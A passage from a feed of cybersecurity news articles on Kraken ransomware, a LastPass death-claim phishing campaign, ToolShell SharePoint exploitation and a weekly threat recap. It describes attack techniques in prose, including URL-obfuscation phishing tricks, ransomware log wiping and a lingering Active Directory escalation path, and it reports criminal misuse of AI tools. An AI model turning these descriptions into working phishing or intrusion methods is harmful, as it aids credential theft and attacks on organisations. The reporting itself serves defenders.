persistent Cloudflared tunnels and RDP, Kraken operators navigate compromised networks and move laterally to all reachable machines to steal valuable data and lay the ground for the deployment of the ransomware binaries. Setting the encryption mode When the encryption command is issued, Kraken will perform a performance benchmark on each machine, the researchers say. The process includes the creation of a temporary file with random data, encrypting it in a timed operation, calculating the result, and then deleting the file. Based on the result, the encryption decides if the data will be encrypted completely or partially. Cisco Talos notes that assessing the machine's capabilities is likely to move quickly with the final stage of the attack and deal maximum damage without triggering alerts due to intensive resource usage. Before triggering the actual encryption, Kraken deletes shadow volumes and the Recycle Bin and stops backup services running on the system. Cisco explains that the Windows version of Kraken features four encryption modules: SQL database – Identifies Microsoft SQL Server instances through registry keys, locates their database file directories, verifies the paths, and encrypts the SQL data files. Network share – Enumerates accessible network shares via WNet APIs, ignores ADMIN$ and IPC$, and encrypts files on all other reachable shares. Local drive – Scans available drive letters, targets removable, fixed, and remote drives, and encrypts their contents using separate worker threads. Hyper-V – Uses embedded PowerShell commands to list VMs, obtain their virtual disk paths, forcibly stop running VMs, and encrypt the associated VM disk files. The Linux/ESXi version enumerates and forcibly terminates running virtual machines to unlock their disk files, and then performs multi-threaded full or partial encryption using the same benchmarking logic as the Windows version. After finishing the encryption, an auto-generated ‘bye_bye.sh’ script executes to remove all logs, shell history, the Kraken binary, and finally the script itself. Encrypted files are appended with the ‘.zpsc’ file extension, and a ransom note (‘readme_you_ws_hacked.txt’) is dropped on impacted directories. Cisco notes that in one case, it has observed a ransom demand of $1 million to be paid in Bitcoin. The complete indicators of compromise (IoCs) associated with Kraken ransomware attacks are available on this GitHub repository. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comNov 13, 2025extracted
Fake LastPass death claims used to breach password vaults
LastPass is warning customers of a phishing campaign sending emails with an access request to the password vault as part of a legacy inheritance process. The activity started in mid-October, and the domains and infrastructure used point to a financially motivated threat group called CryptoChameleon (UNC5356). CryptoChamemelon employs a phishing kit specializing in cryptocurrency theft, targeting multiple wallets including Binance, Coinbase, Kraken, and Gemini, using fake Okta, Gmail, iCloud, and Outlook sign-in pages. LastPass users were targeted by the same group again in April 2024, but the newest campaign appears to be more extensive and also enhanced, now targeting passkeys too. The phishing emails sent to LastPass users claim that a family member requested access to their LastPass vault by uploading a death certificate. LastPass’s inheritance process is an emergency access feature that allows individuals designated by account holders to request access to their vault in case of death or incapacity. When such a request is opened, the account holder receives an email, and after a waiting period expires, access is automatically granted to the contact. The fabricated legacy request includes an agent ID number for added legitimacy, prompting the recipient to take action and cancel it if they are not deceased by clicking a link. However, the link redirects them to a fraudulent page on lastpassrecovery[.]com that features a login form where the victim can enter their master password. LastPass says that in some cases the threat actor called victims posing as LastPass staff and directed them to enter their credentials on the phishing site. The company says that one key element in the CryptoChameleon attack targeting its users is the use of passkey-focused phishing domains such as mypasskey[.]info and passkeysetup[.]com, which indicate attempts to steal users’ passkeys. Passkeys are a passwordless authentication standard based on the FIDO2 / WebAuthn protocols, using assymmetric cryptography instead of memorized passwords. Modern password managers like LastPass, 1Password, Dashlane, and Bitwarden now store and sync passkeys across devices, and threat actors have started to target them directly. In 2022, LastPass suffered a major data breach where attackers stole encrypted vault backups. The incident was linked to targeted attacks that followed, resulting in losses of roughly $4.4 million in cryptocurrency. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comOct 24, 2025extracted
Threat Actors Ramp Up Public App Exploits as ToolShell Gains Traction
The ToolShell exploit, affecting on-premises Microsoft SharePoint servers, has driven a rise in threat actors exploiting public-facing applications for initial access. In the last quarter, this tactic appeared in over 60% Cisco Talos Incident Response (Talos IR) engagements, an increase from 10% in the previous quarter. Almost 40% of all engagements involved ToolShell activity, majorly contributing to this tactic’s rise in popularity, Cisco Talos explained in a recent report. The ToolShell exploit chain was first made public in mid-July 2025. The attack sees CVE-2025-53770 and CVE-2025-53771, two critical and high-severity vulnerabilities in internet-facing SharePoint servers, exploited. In July 2025, Microsoft warned that Chinese-based threat groups, Linen Typhoon and Violet Typhoon, were actively targeting the SharePoint vulnerabilities. This is likely part of a strategic campaign to gain initial access to targets across government, defense, academia and NGOs. Active exploitation of the ToolShell vulnerabilities was first observed in the wild on July 18, a day before Microsoft issued its emergency advisory. “Almost all Talos IR engagements responding to ToolShell activity kicked off within the following 10 days,” Cisco explained in its Quarterly Trends report, published on October 23. Network Segmentation Crucial The cybersecurity firm highlighted the need for network segmentation to prevent these attacks enabling threat actors to laterally move within an organization. In one engagement by the Talos IR, the firm said the victim organization was impacted by ToolShell exploitation against a SharePoint server, then experienced a ransomware attack a few weeks later. In the ransomware attack, Talos IR analysis indicated the actors transferred credential stealing malware from the affected public-facing SharePoint server to a SharePoint database server on the victim’s internal network. This, Talos IR said, demonstrates how they leveraged the trusted relationship between the two servers to expand their foothold. Ransomware Remains a Persistent Threat Other findings in the Cisco Talos update showed that ransomware incidents made up around 20% of engagements in the third quarter of 2025, down from 50% in the previous quarter. Talos IR responded to Warlock, Babuk and Kraken ransomware variants for the first time, while also responding to previously seen families Qilin and LockBit. The company responded to a ransomware engagement in Q3 that it assessed with moderate confidence was attributable to the Storm-2603 threat group based on overlapping techniques, tactics and procedures (TTPs), such as the deployment of both LockBit and Warlock ransomware. The Qilin ransomware group were also particularly active, and Cisco Talos said it will very likely continue to be a top ransomware threat through at least the remainder of 2025, pending any disruption or intervention. Image credit: PhotoGranary02 / Shutterstock.com
infosecurity-magazine.comOct 24, 2025extracted
⚡ Weekly Recap: Drift Breach Chaos, Zero-Days Active, Patch Warnings, Smarter Threats & More
Cybersecurity never slows down. Every week brings new threats, new vulnerabilities, and new lessons for defenders. For security and IT teams, the challenge is not just keeping up with the news—it’s knowing which risks matter most right now. That’s what this digest is here for: a clear, simple briefing to help you focus where it counts. This week, one story stands out above the rest: the Salesloft–Drift breach, where attackers stole OAuth tokens and accessed Salesforce data from some of the biggest names in tech. It’s a sharp reminder of how fragile integrations can become the weak link in enterprise defenses. Alongside this, we’ll also walk through several high-risk CVEs under active exploitation, the latest moves by advanced threat actors, and fresh insights on making security workflows smarter, not noisier. Each section is designed to give you the essentials—enough to stay informed and prepared, without getting lost in the noise. ⚡ Threat of the Week Salesloft to Take Drift Offline Amid Security Incident — Salesloft announced that it has taken Drift temporarily offline effective September 5, 2025, at 6 a.m. ET, as multiple companies have been caught up in a far-reaching supply chain attack spree targeting the marketing software-as-a-service product, resulting in the mass theft of authentication tokens. "This will provide the fastest path forward to comprehensively review the application and build additional resiliency and security in the system to return the application to full functionality," the company said. "As a result, the Drift chatbot on customer websites will not be available, and Drift will not be accessible. To date, Cloudflare, Google Workspace, PagerDuty, Palo Alto Networks, Proofpoint, SpyCloud, Tanium, Tenable, and Zscaler have confirmed they were impacted by the hack. The activity has been attributed to a threat cluster tracked by Google and Cloudflare as UNC6395 and GRUB1, respectively. Zero Trust + AI: Thrive in the AI Era and Empower Your Workforce It’s no surprise, hackers are using AI in creative ways to compromise users and breach organizations. Zscaler Zero Trust + AI helps defeat ransomware and AI-power attacks today by enabling you to detect and block advanced threats, and discover and classify sensitive data everywhere. Learn more about Zscaler Zero Trust + AI ➝ 🔔 Top News Sitecore Flaw Under Active Exploitation in the Wild — Unknown miscreants are exploiting a configuration vulnerability in multiple Sitecore products to achieve remote code execution via a publicly exposed key and deploy snooping malware on infected machines. The ViewState deserialization vulnerability, CVE-2025-53690, has been used to deploy malware and additional tooling geared toward internal reconnaissance and persistence across one or more compromised environments. The attackers targeted the "/sitecore/blocked.aspx" endpoint, which contains an unauthenticated ViewState form, with HTTP POST requests containing a crafted ViewState payload. Mandiant said it disrupted the intrusion midway, which prevented it from gaining further insights into the attack lifecycle and determining the attackers' motivations. Russian APT28 Deploys "NotDoor" Outlook Backdoor — The Russian state-sponsored hacking group tracked as APT28 has been attributed to a new Microsoft Outlook backdoor called NotDoor (aka GONEPOSTAL) in attacks targeting multiple companies from different sectors in NATO member countries. NotDoor "is a VBA macro for Outlook designed to monitor incoming emails for a specific trigger word," S2 Grupo's LAB52 threat intelligence team said. "When such an email is detected, it enables an attacker to exfiltrate data, upload files, and execute commands on the victim's computer." New GhostRedirector Actor Hacks 65 Windows Servers in Brazil, Thailand, and Vietnam — A previously undocumented threat cluster dubbed GhostRedirector has managed to compromise at least 65 Windows servers primarily located in Brazil, Thailand, and Vietnam. The attacks, per Slovak cybersecurity company ESET, led to the deployment of a passive C++ backdoor called Rungan and a native Internet Information Services (IIS) module codenamed Gamshen. The threat actor is believed to be active since at least August 2024. "While Rungan has the capability of executing commands on a compromised server, the purpose of Gamshen is to provide SEO fraud as-a-service, i.e., to manipulate search engine results, boosting the page ranking of a configured target website," the company said. Google Fixes 2 Actively Exploited Android Flaws — Google has shipped security updates to address 120 security flaws in its Android operating system as part of its monthly fixes for September 2025, including two issues that it said have been exploited in targeted attacks. One of them, CVE-2025-38352, is a privilege escalation vulnerability in the upstream Linux Kernel component. The second shortcoming is a privilege escalation flaw in Android Runtime (CVE-2025-48543). Benoît Sevens of Google's Threat Analysis Group (TAG) has been credited with discovering and reporting the upstream Linux Kernel flaw, suggesting that it may have been abused as part of targeted spyware attacks. Threat Actors Claim to Weaponize HexStrike AI in Real-World Attacks — Threat actors are attempting to leverage a newly released artificial intelligence (AI) offensive security tool called HexStrike AI to exploit recently disclosed security flaws. "This marks a pivotal moment: a tool designed to strengthen defenses has been claimed to be rapidly repurposed into an engine for exploitation, crystallizing earlier concepts into a widely available platform driving real-world attacks," Check Point said. Iranian Hackers Linked to Attacks Targeting European Embassies — An Iran-nexus group conducted a "coordinated" and "multi-wave" spear-phishing campaign targeting the embassies and consulates in Europe and other regions across the world. The activity has been attributed by Israeli cybersecurity company Dream to Iranian-aligned operators connected to broader offensive cyber activity undertaken by a group known as Homeland Justice. "Emails were sent to multiple government recipients worldwide, disguising legitimate diplomatic communication," the company said. "Evidence points toward a broader regional espionage effort aimed at diplomatic and governmental entities during a time of heightened geopolitical tension." 🔥 Trending CVEs Hackers move fast — often exploiting new flaws within hours. A missed update or a single unpatched CVE can open the door to serious damage. Here are this week’s high-risk vulnerabilities making headlines. Review, patch quickly, and stay ahead. This week's list includes — CVE-2025-53690 (SiteCore), CVE-2025-42957 (SAP S/4HANA), CVE-2025-9377 (TP-Link Archer C7(EU) V2 and TL-WR841N/ND(MS) V9), CVE-2025-38352 (Linux Kernel/Google Android), CVE-2025-48543 (Google Android), CVE-2025-29927 (Next.js), CVE-2025-52856, CVE-2025-52861 (QNAP QVR), CVE-2025-0309 (Netskope Client for Windows), CVE-2025-21483, CVE-2025-27034 (Qualcomm), CVE-2025-6203 (HashiCorp Vault), CVE-2025-58161 (MobSF), CVE-2025-5931 (Dokan Pro plugin), CVE-2025-53772 (Web Deploy), CVE-2025-9864 (Google Chrome), CVE-2025-9696 (SunPower PVS6), CVE-2025-57833 (Django), CVE-2025-24204 (Apple macOS), CVE-2025-55305 (Electron framework), CVE-2025-53149 (Microsoft Kernel Streaming WOW Thunk Service Driver), CVE-2025-6519, CVE-2025-52549, CVE-2025-52548 (Copeland E2 and E3), CVE-2025-58782 (Apache Jackrabbit), CVE-2025-55190 (Argo CD), CVE-2025-1079, CVE-2025-4613, and a client-side remote code execution (no CVE) (Google Web Designer). 📰 Around the Cyber World New AI Waifu RAT Disclosed — Cybersecurity researchers have discovered a potent Windows-based remote access trojan (RAT) called AI Waifu RAT that uses the power of a large language model to pass commands. "A local agent runs on the victim's machine, listening for commands on a fixed port," a researcher by the name ryingo said. "These commands, originating from the LLM, are passed through a web UI and sent to the local agent as plaintext HTTP requests." The malware specifically targets LLM role-playing communities, capitalizing on their interest in the technology to offer AI characters the ability to read local files for "personalized role-playing" and direct "Arbitrary Code Execution" capabilities. DoJ: "Not all heroes wear capes. Some have YouTube channels" — The U.S. Department of Justice (DoJ) said two YouTube channels named Scammer Payback and Trilogy Media played a crucial role in unmasking and identifying members of a giant scam network that stole more than $65 million from senior citizens. The 28 alleged members of the Chinese organized crime ring allegedly used call centers based in India to call the elderly, posing as government officials, bank employees, and tech support agents. "Once connected, the scammers used scripted lies and psychological manipulation to gain the victims' trust and often remote access to their computers," the DoJ said. "The most common scheme involved convincing victims they had received a mistaken refund and pressuring – or threatening – them to return the supposed excess funds via wire transfer, cash, or gift cards." Those sending cash were instructed to use overnight or express couriers, addressing packages to fake names tied to false IDs. These were sent to short-term rentals in the U.S. used by conspirators, including the indicted defendants, to collect the fraud proceeds. The network has operated out of Southern California since 2019. Analysis of BadSuccessor Patch — Microsoft, as part of its August 2025 Patch Tuesday update, addressed a security flaw called BadSuccessor (CVE-2025-53779) that abused a loophole in dMSA, causing the Key Distribution Center (KDC) to treat a dMSA linked to any account in Active Directory as the successor during authentication. As a result, an attacker could create a dMSA in an Organizational Unit (OU) and link it to any target — even domain controllers, Domain Admins, Protected Users, or accounts marked "sensitive and cannot be delegated" – and compromise them. An analysis of the patch has revealed that patch enforcement was implemented in the KDC's validation. "The attribute can still be written, but the KDC won't honor it unless the pairing looks like a legitimate migration," Akamai security researcher Yuval Gordon said. "Although the vulnerability can be patched, BadSuccessor still lives on as a technique; that is, the KDC’s verification removes the pre-patch escalation path, but doesn't mitigate the entire problem. Because the patch didn't introduce any protection to the link attribute, an attacker can still inherit another account by linking a controlled dMSA and a target account." Phishers Pivot to Ramp and Dump Scheme — Cybercriminal groups advertising sophisticated phishing kits that convert stolen card data into mobile wallets have shifted their focus to targeting customers of brokerage services and using compromised brokerage accounts to manipulate the prices of foreign stocks as part of what's called a ramp and dump scheme. Popular C2 Frameworks Exploited by Threat Actors — Sliver, Havoc, Metasploit, Mythic, Brute Ratel C4, and Cobalt Strike (in that order) have emerged as the most frequently used command-and-control (C2) frameworks in malicious attacks in Q2 2025, per data from Kaspersky. "Attackers are increasingly customizing their C2 agents to automate malicious activities and hinder detection," the company said. The development came as the majority (53%) of attributed vulnerability exploits in the first half of 2025 were conducted by state-sponsored actors for strategic, geopolitical purposes, according to Recorded Future's Insikt Group. In all, 23,667 CVEs were published in H1 2025, a 16% increase compared to H1 2024. Attackers actively exploited 161 vulnerabilities, and 42% of those exploited flaws had public PoC exploits. Fake PDF Converters Deliver JSCoreRunner macOS Malware — Apps posing as PDF converters are being used to deliver malware called JSCoreRunner. Once downloaded from sites like fileripple[.]com, the malware establishes connections with a remote server and hijacks a user's Chrome browser by modifying its search engine settings to default to a fraudulent search provider, thereby tracking user searches and redirecting them to bogus sites, further exposing them to data and financial theft, per Mosyle. The attack unfolds over two stages: The initial package (whose signature has since been revoked by Apple), which deploys an unsigned secondary payload from the same domain that, in turn, executes the main malicious payload. Copeland Releases Fixes for Frostbyte10 Flaws — American tech company Copeland has released a firmware update to fix ten vulnerabilities in Copeland E2 and E3 controllers. The chips are used to manage energy efficiency inside HVAC and refrigeration systems. The ten vulnerabilities have been collectively named Frostbyte10. "The flaws discovered could have allowed unauthorized actors to remotely manipulate parameters, disable systems, execute remote code, or gain unauthorized access to sensitive operational data," Armis said. "When combined and exploited, these vulnerabilities can result in unauthenticated remote code execution with root privileges." The most severe of the flaws is CVE-2025-6519, a case of a default admin user "ONEDAY" with a daily generated password that can be predictably generated. In a hypothetical attack scenario, an attacker could chain CVE-2025-6519 and CVE-2025-52549 with CVE-2025-52548, which can enable SSH and Shellinabox access via a hidden API call, to facilitate remote execution of arbitrary commands on the underlying operating system. Over 1,000 Ollama Servers Exposed — A new study from Cisco found over 1,100 exposed Ollama servers, with approximately 20% actively hosting models susceptible to unauthorized access. Out of the 1,139 exposed servers, 214 were found to be actively hosting and responding to requests with live models—accounting for approximately 18.8% of the total scanned population, with Mistral and LLaMA representing the most frequently encountered deployments. The remaining 80% of detected servers, while reachable via unauthenticated interfaces, did not have any models instantiated. Although dormant, these servers remain susceptible to exploitation via unauthorized model uploads or configuration manipulation. The findings "highlight the urgent need for security baselines in LLM deployments and provide a practical foundation for future research into LLM threat surface monitoring," the company said. Tycoon Phishing Kit Evolves — The Tycoon phishing kit has been updated to support URL-encoding techniques to hide malicious links embedded in fake voicemail messages to bypass email security checks. Attackers have also been observed using the Redundant Protocol Prefix technique for similar reasons. "This involves crafting a URL that is only partially hyperlinked or that contains invalid elements — such as two 'https' or no '//' — to hide the real destination of the link while ensuring the active part looks benign and legitimate and doesn't arouse suspicion among targets or their browser controls," Barracuda said. "Another trick is using the '@' symbol in a web address. Everything before the '@' is treated as 'user info' by browsers, so attackers put something that looks reputable and trustworthy in this part, such as 'office365.' The link’s actual destination comes after the '@.'" U.S. State Department Offers Up to $10M for Russian Hackers — The U.S. Department of State is offering a bounty of up to $10 million for information on three Russian Federal Security Service (FSB) officers involved in cyberattacks targeting U.S. critical infrastructure organizations on behalf of the Russian government. The three individuals, Marat Valeryevich Tyukov, Mikhail Mikhailovich Gavrilov, and Pavel Aleksandrovich Akulov, are part of the FSB's Center 16 or Military Unit 71330, which is tracked as Berserk Bear, Blue Kraken, Crouching Yeti, Dragonfly, Koala Team, and Static Tundra. They have been accused of targeting 500 energy companies in 135 countries. In March 2022, the three FBS officers were also charged for their involvement in a campaign that took place between 2012 and 2017, targeting U.S. government agencies. XWorm Malware Uses Sneaky Methods to Evade Detection — A new XWorm malware campaign is using deceptive and intricate methods to evade detection and increase the success rate of the malware. "The XWorm malware infection chain has evolved to include additional techniques beyond traditional email-based attacks," Trellix said. "While email and .LNK files remain common initial access vectors, XWorm now also leverages legitimate-looking .EXE filenames to disguise itself as harmless applications, exploiting user and system trust." The attack chain uses LNK files to initiate a complex infection. Executing the .LNK triggers malicious PowerShell commands that deliver a .TXT file and download a deceptively-named binary called "discord.exe." The executable then drops "main.exe" and "system32.exe," with the latter being the XWorm malware payload. "Main.exe," on the other hand, is responsible for disabling the Windows Firewall and checking for the presence of -third-party security applications. XWorm, besides meticulously conducting reconnaissance to acquire a comprehensive profile of the machine, runs anti-analysis checks to ascertain the presence of a virtualized environment, and, if so, ceases execution. It also incorporates backdoor functionality by contacting an external server to execute commands, shut down the system, download files, open URLs, and launch DDoS attacks. Recent campaigns distributing the malware through a new crypter-as-a-service offering known as Ghost Crypt. "Ghost Crypt delivers a zipped archive to the victim containing a PDF Reader application, a DLL, and a PDF file," Kroll said. "When the user opens the PDF, the malicious DLL is side-loaded, initiating the malware execution." The PDF Reader application is HaiHaiSoft PDF Reader, which is known to have a DLL side-loading vulnerability, previously exploited to deliver Remcos RAT, NodeStealer, and PureRAT. 2 E-Crime Groups Use Stealerium Stealer in New Campaigns — Two different cybercriminal groups, TA2715 and TA2536, both of which favored Snake Keylogger, have conducted phishing campaigns in May 2025, delivering an open-source information stealer called Stealerium (or variants of it). "The observed emails impersonated many different organizations, including charitable foundations, banks, courts, and document services, which are common themes in e-crime lures," Proofpoint said. "Subject lines typically conveyed urgency or financial relevance, including 'Payment Due,' 'Court Summons,' and 'Donation Invoice.'" Czechia Issues Warning Against Chinese Tech in Critical Infrastructure — NÚKIB, the Czech Republic's cybersecurity agency, has issued a bulletin regarding the threat posed by technology systems that transfer data to, or are remotely managed from, China. "Current critical infrastructure systems are increasingly dependent on storing and processing data in cloud repositories and on network connectivity enabling remote operation and updates," the agency warned. "In practice, this means that technology solution providers can significantly influence the operation of critical infrastructure and/or access important data, making trust in the reliability of the provider absolutely crucial." Google Chrome 140 Gains Support for Cookie Prefixes — Google has released version 140 of its Chrome browser with support for a new security feature designed to protect server-set cookies from client-side modifications. Called a cookie prefix, it involves adding a piece of text before the names of a browser's cookies. "In some cases, it's important to distinguish on the server side between cookies set by the server and those set by the client. One such case involves cookies normally always set by the server," Google said. "However, unexpected code (such as an XSS exploit, a malicious extension, or a commit from a confused developer) might set them on the client. This proposal adds a signal that lets servers make such a distinction. More specifically, it defines the Http and HostHttp prefixes, which ensure a cookie is not set on the client side using script." New Ransomware Strains Detailed — A new ransomware group called LunaLock has hacked an art-commissioning portal called Artists&Clients and is extorting its owners and artists by threatening to submit the stolen artwork to train artificial intelligence (AI) models unless it pays a $50,000 ransom. Another newly observed ransomware crew is Obscura, which was first observed by Huntress on August 29, 2025. The Go-based ransomware variant attempts to terminate over 120 processes commonly tied to security tools like Microsoft Defender, CrowdStrike, and SentinelOne. E.U. Court Backs Data Transfer Deal Agreed by U.S. and E.U. — The General Court of the Court of Justice of the European Union has dismissed a lawsuit that sought to annul the E.U. and U.S. Data Privacy Framework. The court ruled that the new treaty and the US adequately safeguard the personal data of E.U. citizens. The lawsuit alleged that the U.S. Data Protection Review Court (DPRC), which is housed inside the Department of Justice and has been historically seen as a bulwark for checking U.S. data surveillance activities, is not sufficiently independent and does not adequately shield Europeans from bulk data collection by U.S. intelligence agencies. Microsoft to Move to Phase 2 of MFA Enforcement in October 2025 — Microsoft said it has been enforcing multi-factor authentication (MFA) for Azure Portal sign-ins across all tenants since March 2025. "We are proud to announce that multi-factor enforcement for Azure Portal sign-ins was rolled out for 100% of Azure tenants in March 2025," the company said. "By enforcing MFA for Azure sign-ins, we aim to provide you with the best protection against cyber threats as part of Microsoft's commitment to enhancing security for all customers, taking one step closer to a more secure future." The next phase of MFA requirement is scheduled to start October 1, 2025, mandating the use of MFA for users performing Azure resource management operations through Azure Command-Line Interface (CLI), Azure PowerShell, Azure Mobile App, REST APIs, Azure Software Development Kit (SDK) client libraries, and Infrastructure as Code (IaC) tools. Surge in Scanning Activity Targeting Cisco ASA — GreyNoise said it detected two scanning surges against Cisco Adaptive Security Appliance (ASA) devices on August 22 and 26, 2025, with the first wave originating from over 25,100 IP addresses mainly located in Brazil, Argentina, and the U.S. The second spike repeated ASA probing, with subsets hitting both IOS Telnet/SSH and ASA software personas. The activity targeted the U.S., the U.K., and Germany. LinkedIn Expands Verification to Combat Job-Themed Scams — Microsoft-owned professional social network unveiled new measures to strengthen trust and ensure that users are interacting with people who "they say they are." This includes verified Premium Company Pages, requiring recruiters to verify their workplace on their profile, and workplace verification requirements for high-level titles such as Executive Director, Managing Director, and Vice President to tackle impersonation. The changes are an effort to prevent scammers from posing as company employees or recruiters and reaching out to prospective targets with fake job opportunities – a technique pioneered by North Korean hackers. Hotelier Accounts Targeted in Malvertising and Phishing Campaign — A large-scale phishing campaign has impersonated at least 13 service providers that specialize in hotels and vacation rentals. "In these attacks, targeted users are lured to highly deceptive phishing sites using malicious search engine advertisements, particularly sponsored ads on platforms like Google Search," Okta said. "The attacks leverage convincing fake login pages and social engineering tactics to bypass security controls and exploit user trust." It's assessed that the end goal of the campaign is to compromise accounts for cloud-based property management and guest messaging platforms. DamageLib Emerges After XSS Forum Takedown — A new cybercrime forum called DamageLib has grown dramatically, attracting over 33,000 users following the arrest of XSS[.]is admin Toha back in July 2025. While XSS remains online, speculations are abound that it could be a law enforcement honeypot, breeding mistrust among cybercriminals. "Exploit forum traffic surged almost 24% during the XSS turmoil as actors sought alternatives, while XSS visits plummeted," KELA said. "As of August 27, 2025, DamageLib counted 33,487 users -- nearly 66% of XSS's 50,853 members. But engagement lagged: only 248 threads and 3,107 posts in its first month, compared to over 14,400 messages on XSS in the month before the seizure." GhostAction Supply Chain Attack Steals 3,325 Secrets — A massive supply chain attack dubbed GhostAction has allowed attackers to inject a malicious GitHub workflow named "Github Actions Security" to exfiltrate 3,325 secrets, including PyPI, npm, and DockerHub tokens via HTTP POST requests to a remote attacker-controlled endpoint ("bold-dhawan.45-139-104-115.plesk[.]page"). The activity, which allowed the workflows to be triggered automatically on 'push' or manual dispatch, affected 327 GitHub users across 817 repositories. Some of the workflow commits were pushed by a user named "Grommash9," which is no longer accessible. "Over the weekend, we had discussions with developers targeted by the attack and the initial vector is still unclear, but could be related to GitHub tokens leaks," Guillaume Valadon, cybersecurity researcher at GitGuardian, told The Hacker News. "As a prevention measure, they revoked all of their GitHub tokens as well as secrets accessible from their GitHub Actions." New Campaign Abuses Simplified AI to Steal Microsoft 365 Credentials — A new phishing campaign has been observed hosting fake pages under the legitimate Simplified AI domain in a bid to evade detection and blend in with regular enterprise traffic. "By impersonating an executive from a global pharmaceutical distributor, the threat actors delivered a password-protected PDF that appeared legitimate," Cato Networks said. "Once opened, the file redirected the victim to Simplified AI’s website, but instead of generating content, the site became a launchpad to a fake Microsoft 365 login portal designed to harvest enterprise credentials." Japan, South Korea, and the U.S. Take Aim at North Korean IT Worker Scam — Japan, South Korea, and the U.S. joined hands to fight against the growing threat of North Korean threat actors posing as IT workers to embed themselves in organizations throughout Asia and globally and generate revenue to fund its unlawful weapons of mass destruction (WMD) and ballistic missile programs. "They take advantage of existing demands for advanced IT skills to obtain freelance employment contracts from an expanding number of target clients throughout the world, including in North America, Europe, and East Asia," the countries said in a joint statement. "North Korean IT workers themselves are also highly likely to be involved in malicious cyber activities, particularly in the blockchain industries. Hiring, supporting, or outsourcing work to North Korean IT workers increasingly poses serious risks, ranging from theft of intellectual property, data, and funds to reputational harm and legal consequences." New AI-Powered Android Vulnerability Discovery and Validation Tool — Computer scientists affiliated with Nanjing University in China and The University of Sydney in Australia said that they've developed an AI vulnerability identification system called A2 that emulates the way human bug hunters go about discovering flaws, marking a step forward for automated security analysis. According to the study, A2 "validates Android vulnerabilities through two complementary phases: (i) Agentic Vulnerability Discovery, which reasons about application security by combining semantic understanding with traditional security tools; and (ii) Agentic Vulnerability Validation, which systematically validates vulnerabilities across Android's multi-modal attack surface-UI interactions, inter-component communication, file system operations, and cryptographic computations." A2 builds upon A1, an agentic system that transforms any LLM into an end-to-end exploit generator. Spotify DM Feature Carries Doxxing Risks — Music streaming service Spotify, last month, announced a new messaging feature for sharing music with friends. But reports are now emerging on Reddit that it's surfacing as "suggested friends," people with whom users may have shared Spotify links in the past on other social media platforms, potentially revealing their real names in the process. This is made possible by means of a unique "si" parameter in Spotify links that serves as referral information. Spear-Phishing Campaign Targets C-Suite for Credential Theft — A sophisticated spear-phishing campaign has targeted senior employees, particularly those in C-Suite and leadership positions, to steal their credentials using email messages with salary-themed lures or fake OneDrive document-sharing notifications. "Actors behind this campaign are leveraging tailored emails that impersonate internal HR communications, via a shared document in OneDrive, to trick recipients into entering corporate credentials," Stripe OLT said. "Emails are sent via Amazon Simple Email Service (SES) infrastructure. The actor is rotating between many sending domains and subdomains to evade detection." As many as 80 domains have been identified as part of this campaign. Attackers Attempt to Exploit WDAC Technique — In December 2024, researchers Jonathan Beierle and Logan Goins demonstrated a novel technique that leverages a malicious Windows Defender Application Control (WDAC) policy to block security solutions such as Endpoint Detection and Response (EDR) sensors following a system reboot using a custom tool codenamed Krueger. Since then, it has emerged that threat actors have incorporated the method into their attack arsenal to disable security solutions using WDAC policies. It has also led to the discovery of a new malware strain dubbed DreamDemon that uses WDAC to neutralize antivirus programs. It contains an embedded WDAC policy, which is then dropped onto disk and hidden," Beierle said. "In certain cases, DreamDemon will also change the time that the policy was created in an attempt to avoid detection." New NBMiner Cryptojacking Malware Detected — Cybersecurity researchers have discovered a new campaign that leverages a PowerShell script to drop an AutoIt loader used to deliver a cryptocurrency miner called NBMiner from an external server. Initial access to the system is accomplished by means of a drive-by compromise. "The program includes several evasion measures," Darktrace said. "It performs anti-sandboxing by sleeping to delay analysis and terminates sigverif.exe (File Signature Verification). It checks for installed antivirus products and continues only when Windows Defender is the sole protection. It also verifies whether the current user has administrative rights. If not, it attempts a User Account Control (UAC) bypass via Fodhelper to silently elevate and execute its payload without prompting the user." New Campaign Uses Custom GPTs for Brand Impersonation and Phishing — Threat actors are abusing custom features on trusted AI platforms like OpenAI ChatGPT to create malicious "customer support" chatbots that impersonate legitimate brands. These custom GPTs are surfaced on Google Search results, tricking users into taking malicious actions under the guise of a helpful chatbot, underscoring how AI tools can be misused within a broader social engineering chain. "This method introduces a new threat vector: platform-hosted social engineering through trusted AI interfaces," Doppel said. "Several publicly available Custom GPTs have been observed impersonating well-known companies." The attacks can lead to theft of sensitive information, malware delivery, and damage the reputation of legitimate brands. The development is part of a larger trend where cybercriminals abuse AI tools, including impersonation fraud via deepfakes, AI-assisted scam call centers, AI-powered mailers and spam tools, malicious tool development, and unrestricted and self-hosted generative AI chatbots that can craft phishing kits, fake websites; create content for romance or investment scams; develop malware; and assist with vulnerability reconnaissance and exploit chains. McDonald's Poland Fined for Leaking Personal Data — Poland's data protection agency fined McDonald's Poland nearly €4 million for leaking employee personal data, violating GDPR data privacy protections. The incident occurred at a partner company that managed employee work schedules. Personal data such as names, passport numbers, positions, and work schedules were left exposed on the internet through an open directory. This is the second-largest GDPR fine handed out by Polish authorities after fining the country's postal service €6.3 million earlier this year. In related news, vulnerabilities in the McDonald's chatbot recruitment platform McHire exposed over 64 million job applications across the U.S., security researchers Ian Carroll and Sam Curry discovered. The chatbot was created by Paradox.ai, which did not remove the default credentials for a test account (username 123456, password 123456) and failed to secure an endpoint that allowed access to the chat interactions of every applicant. There is no evidence that the test account was ever exploited in a malicious context. A separate set of security issues has also been discovered in the fast-food giant's partner and employee portals that exposed sensitive data such as API keys and enabled unauthorized access to make changes to a franchise owner's website. The issues, according to BobdaHacker, have since been patched. New Influence Operations Discovered — Cybersecurity company Recorded Future flagged two large-scale, state-aligned influence operation networks supporting India and Pakistan during the India-Pakistan conflict of April and May 2025. These influence networks have been codenamed Hidden Charkha (pro-India) and Khyber Defender (pro-Pakistan). "These networks are very likely motivated by patriotism and are almost certainly aligned with India's and Pakistan's domestic and foreign policy objectives, respectively," Recorded Future said. "Each network consistently attempted to frame India or Pakistan, respectively, as maintaining superior technological and military capabilities – and therefore the implied ability for each respective country to exercise tactical restraint – as proof of having the moral high ground, and hence having domestic and international support." Both the campaigns were largely unsuccessful in shaping public opinion, given the lack of organic engagement on social media. A second influence operation involves multiple 